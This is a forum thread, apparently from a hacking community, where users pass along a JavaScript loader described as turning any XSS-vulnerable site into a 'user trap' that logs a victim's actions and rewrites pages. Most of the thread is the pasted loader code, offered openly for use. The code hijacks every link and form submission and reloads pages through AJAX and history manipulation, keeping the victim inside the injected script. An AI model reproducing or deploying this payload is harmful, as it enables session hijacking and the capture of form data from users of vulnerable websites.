Turn vulnerable XSS site into a user trap.

[Axon]

This has been forwarded to me by a friend, he found it on reddit.

Description:
Small library that turns any site vulnerable to XSS into user trap, able to log all of his actions, modify pages and automate them.

Code: [Select]

http://git.fails.at/n/xss/blob/master/loader.js

[Moiz]

Hey

The Link Is As I Think Dead

Thanks

[geXXos]

This is probably the link that Axon's friend found this.

http://redd.it/1j3d85

This from the comments http://shodan.pw/abusing-reflected-xss.html

But the git clone seems down.

[dracula23064]

here is the loader code: (just copied it from the link provided by geXXos)

Code: [Select]

if((typeof window.jQuery) == "undefined") { var js = document.createElement("script"); var he = document.getElementsByTagName('head')[0]; js.type = "text/javascript"; js.src = "http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"; he.appendChild(js);}var re = function(d, u) {
var h = d.split("<head")[1].split(">").slice(1).join(">").split("</head>")[0]; var b = d.split("<body")[1].split(">").slice(1).join(">").split("</body>")[0]; var t = d.split("<title")[1].split(">").slice(1).join(">").split("</title>")[0]; window.history.pushState({"html": d, "pageTitle": t}, t, u); jqX("head").html(h); jqX("body").html(b);
}var da = function() { jqX("a").each(function(i, e) { jqX(e).click(function(event) { event.preventDefault(); hr = jqX(e).attr("href"); document.location.hash = hr; return false; }); }); jqX("form").each(function(i, e) { jqX(e).submit(function(event) { event.preventDefault(); ip = {};
jqX(this).find("input").each(function(id, el) { ip[jqX(el).attr("name")] = jqX(el).val(); }); eq = jqX(e);
var aj = jqX.ajax({ type: eq.attr("method"), url: eq.attr("action"), data: ip, success: function(d, t, j) { re(d, eq.attr("action")); document.location.hash = eq.attr("action") + "/R88A"; setTimeout(da, 50); }, dataType: "html" }); return false; }) }); }var ca = function(url) { jqX.get(url, function(d) { re(d, url) setTimeout(da, 50); });}var iv = setInterval(function() { if((typeof window.jQuery) != "undefined") { window.jqX = jQuery; jQuery.noConflict(true); clearInterval(iv); jqX(window).on('hashchange', function() { hh = document.location.hash; if(hh.substr(hh.length - 5) != "/R88A") ca(hh.substr(1, hh.length)); }); if(document.location.hash) { hh = document.location.hash; ca(hh.substr(1, hh.length)); } else { ca("."); }
}}, 50);